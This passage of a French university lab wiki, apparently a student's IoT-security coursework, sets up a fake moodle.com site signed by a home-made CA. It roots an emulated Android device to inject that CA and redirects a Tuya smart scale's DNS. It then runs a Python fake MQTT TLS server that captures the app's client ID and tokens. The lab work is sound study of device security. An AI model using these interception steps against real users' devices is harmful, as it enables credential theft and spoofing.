&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
&lt;br /&gt;
== Première tentative ==&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO redaction&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on fouille dans data/data/com.nedis.smartlife&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10930</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10930"/>
		<updated>2025-12-16T13:16:44Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Envoi de fausses informations vers l'application */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
